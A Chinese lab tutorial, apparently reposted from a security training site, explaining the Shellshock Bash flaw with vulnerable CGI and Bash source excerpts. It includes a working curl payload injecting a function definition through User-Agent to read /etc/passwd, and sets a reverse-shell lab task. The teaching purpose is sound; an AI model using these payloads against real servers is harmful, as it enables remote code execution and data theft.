破壳漏洞实践

深藏阁楼爱情的钟 2022-06-07 07:09 183阅读 0赞

**实验简介**  
实验所属系列：操作系统安全  
**预备知识**  
**了解Bash**

Bash(GNU Bourne-Again Shell)是许多Linux平台的内定Shell，事实上，还有许多传统UNIX上用的Shell，像tcsh、csh、ash、bsh、ksh等 等，Shell Script大致都类同，当您学会一种Shell以后，其它的Shell会很快就上手，大多数的时候，一个Shell Script通常可以在很多种Shell上使用。
    
      BASH是大多数Linux系统以及Mac OS X v10.4默认的shell，它能运行于大多数Unix风格的操作系统之上，甚至被移植到了Microsoft Windows上的Cygwin系统中，以实现windows的POSIX虚拟接口。此外，它也被DJGPP项目移植到了MS-DOS上。
    
      BASH的命令语法是Bourne shell命令语法的超集。数量庞大的Bourne shell脚本大多不经修改即可以在bash中执行，只有那些引用了Bourne特殊变量或使用了Bourne的内置命令的脚本才需要修改。 bash的命令语法很多来自Korn shell (ksh) 和 C shell (csh)， 例如命令行编辑，命令历史，目录栈，$RANDOM 和 $PPID 变量，以及POSIX的命令置换语法： $(...)。作为一个交互式的shell，按下TAB键即可自动补全已部分输入的程序名，文件名，变量名等等。

**Bash漏洞起因**

curl -A "() { :; }; /bin/cat /etc/passwd" http://192.168.0.1/poc.cgi

我们知道curl是linux下用于http请求的一个工具，-A是将User-Agent设置为() \{ :; \}; /bin/cat /etc/passwd字符串，后面的[http://192.168.0.1/poc.cgi][http_192.168.0.1_poc.cgi]是位于服务器192.168.0.1的一个cgi脚本，为什么cat /etc/passwd可以在192.168.0.1执行成功呢？  
**poc.cgi的源代码：**

#!/bin/bash
    
          echo "Content-type: text/html"
    
          echo ""
    
          echo '<html>'
    
          echo '<head>'
    
          echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
    
          echo '<title>PoC</title>'
    
          echo '</head>'
    
          echo '<body>'
    
          echo '<pre>'
    
          /usr/bin/env
    
          /* 这里存在一个BASH的调用，输出环境信息*/
    
          echo '</pre>'
    
          echo '</body>'
    
          echo '</html>'
    
          exit 0

poc.cgi允许我们远程访问[http://192.168.0.1/poc.cgi][http_192.168.0.1_poc.cgi]时使用HTTP方式对/usr/bin/env进行调用

我们访问[http://192.168.0.1/poc.cgi][http_192.168.0.1_poc.cgi]时可以设置任意的HTTP Header比如User-Agent、Refer、cookie以及自定义等参数。而 Bash CGI会将客户端发送的HTTP数据包的HTTP头部的字段作为ENV的参数传入环境变量的设置函数中，也就是说Bash CGI默认将HTTP头部参数作为环境变量设置源。

“() { :; }; /bin/cat /etc/passwd”

User-Agent : ()       <-- 作为函数
    
          {
         :;};               <-- 函数体
    
          /bin/cat /etc/passwd  <-- 注入的代码

当我们的() \{ :; \}; /bin/cat /etc/passwd被传入Bash的环境设置函数之后，由于Bash使用的环境变量是通过函数名称来调用的，因此以“()\{”开头定义的环境变量在命令ENV中解析成函数后， Bash会将这段代码这样解释:“()”当做User-Agent()函数、而“\{ :;\};” 作为一个空的函数体。这一Bash对环境进行设置的过程中，“() \{ :; \}; /bin/cat /etc/passwd”会被当做代码进行“代码执行（可以想象成php的eval）”。注入的代码被成功解析执行后会以”环境变量”的形式保存在环境变量中，然后CGI返回的HTTP数据包中会将环境变量一并发送回客户端，也就是你看到的/bin/cat /etc/passwd执行了的结果。此时，相信你已经明白了个中缘由，问题产生的地方就在于Bash对环境进行设置的过程中对传入的参数在未检查其合法性的情况下，即进行了代码执行。那么Bash在代码中是如何实现的呢？我们来看一下Bash 3.2中对此功能的实现：

evalstring.c
    
          else if (command = global_command)
    
          {     struct fd_bitmap *bitmap;  
    
                /*
    
                 这里没有对传入的command进行正确的边界检查，引入了代码注入的可能性
    
                */
    
                bitmap = new_fd_bitmap (FD_BITMAP_SIZE);
    
    
    
                begin_unwind_frame ("pe_dispose");
    
               add_unwind_protect (dispose_fd_bitmap, bitmap);
    
               add_unwind_protect (dispose_command, command);   
    
                /* XXX */   
    
                global_command = (COMMAND *)NULL;
    
          }
    
    variables.c
    
          /*
    
          Initialize the shell variables from the current environment. If PRIVMODE is nonzero, don't import functions from
    
          ENV
    
          or
    
          parse $SHELLOPTS.
    
          */
    
          void initialize_shell_variables (env, privmode) char **env; int privmode;
    
          {
    
              ...
    
             create_variable_tables ();    
    
              /*
    
              从ENV环境变量中获取参数
    
              */
    
              for (string_index = 0; string = env[string_index++]; )
    
              {
    
            char_index = 0;
    
            name = string;
    
            while ((c = *string++) && c != '=') ;
    
            if (string[-1] == '=')
    
                char_index = string - name - 1;
    
            /* If there are weird things in the environment, like `=xxx' or a
    
                string without an `=', just skip them. */
    
            if (char_index == 0)
    
                continue;
    
            /* ASSERT(name[char_index] == '=') */
    
            name[char_index] = '\0';
    
            /*
    
            Now, name = env variable name, string = env variable value, and char_index == strlen (name)
    
            */
    
            /*
    
            If exported function, define it now.  Don't import functions from the environment in privileged mode.
    
            解析环境变量设置中的函数定义
    
            */
    
            if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
    
            {
    
                string_length = strlen (string);
    
                temp_string = (char *)xmalloc (3 + string_length + char_index);
    
                strcpy (temp_string, name);
    
                temp_string[char_index] = ' ';
    
                strcpy (temp_string + char_index + 1, string);
    
                /*
    
                这句是关键，initialize_shell_variables对环境变量中的代码进行了执行，由于它错误的信任的外部发送的数据，形成了和SQL注入类似的场景，这句代码和PHP中的eval是类似的，黑客只要满足2个条件
    
                1. 控制发送的参数，并在其中拼接payload
    
                2. 黑客发送的包含payload的参数会被无条件的执行，而执行方不进行任何的边界检查
    
                这就是典型的数据和代码没有进行正确区分导致的漏洞
    
                */
    
                parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
    
                // Ancient backwards compatibility.  Old versions of bash exported functions like name()=() {...}
    
                if (name[char_index - 1] == ')' && name[char_index - 2] == '(')
    
                    name[char_index - 2] = '\0';
    
                if (temp_var = find_function (name))
    
                {
    
                    VSETATTR (temp_var, (att_exported|att_imported));
    
                    array_needs_making = 1;
    
                }
    
                else
    
                    report_error (_("error importing function definition for `%s'"), name);
    
                /* ( */
    
                if (name[char_index - 1] == ')' && name[char_index - 2] == '\0')
    
                    name[char_index - 2] = '(';        /* ) */
    
            }
    
        }
    
    ｝

**Bash漏洞的影响范围**

Bash漏洞迄今为止影响的系统或应用包括如下：
    
      1. 调用了Bash并对提交的http参数未作处理的cgi脚本
    
      2. gitlab (SSH)
    
      对于git、rsync这类远程shell来说，常常会对用户可以执行的指令进行严格限制，但是这个BASH解析漏洞提供了一个bypass的向量

**3. DHCP 客户端**

动态主机配置协议客户端被用来通过DHCP自动获取网络配置信息。该客户端使用不同的环境变量和运行bash来配置网络接口。连接到一个恶意的DHCP服 务器可能允许攻击者在客户机上运行任意代码。黑客通过在域中的DHCP服务器中对DHCP的回送包进行特定的修改(控制hostname、 domainname等参数)，可以达到污染dhcpclient的环境变量参数的目的，从而进行远程代码执行。
    
      4. Qmail
    
      5. F5
    
      6. SIP
    
      7. Pure-ftpd
    
      8. tmnt

**实验目的**  
通过该实验了解Bash解析漏洞形成的原因，掌握基本的漏洞利用及使用方法，并能够给出加固方案  
**实验环境：**  
![这里写图片描述][SouthEast]  
**实验步骤一**  
判断test.cgi是否存在bash解析漏洞；  
**实验步骤二**  
实现反弹shell；  
**实验步骤三**  
依据你对漏洞的分析，如果让你临时修补这个漏洞你会在源码中过滤掉哪些参数。

转载自：[http://www.hetianlab.com/expc.do?w=exp\_ass&ce=36fe600f-5863-4d37-bb84-dda5526767a1][http_www.hetianlab.com_expc.do_w_exp_ass_ce_36fe600f-5863-4d37-bb84-dda5526767a1]

[http_192.168.0.1_poc.cgi]: http://192.168.0.1/poc.cgi
[SouthEast]: /images/20220607/15e4f6d2cdcc466585e89e48d5fdd173.png
[http_www.hetianlab.com_expc.do_w_exp_ass_ce_36fe600f-5863-4d37-bb84-dda5526767a1]: http://www.hetianlab.com/expc.do?w=exp_ass&ce=36fe600f-5863-4d37-bb84-dda5526767a1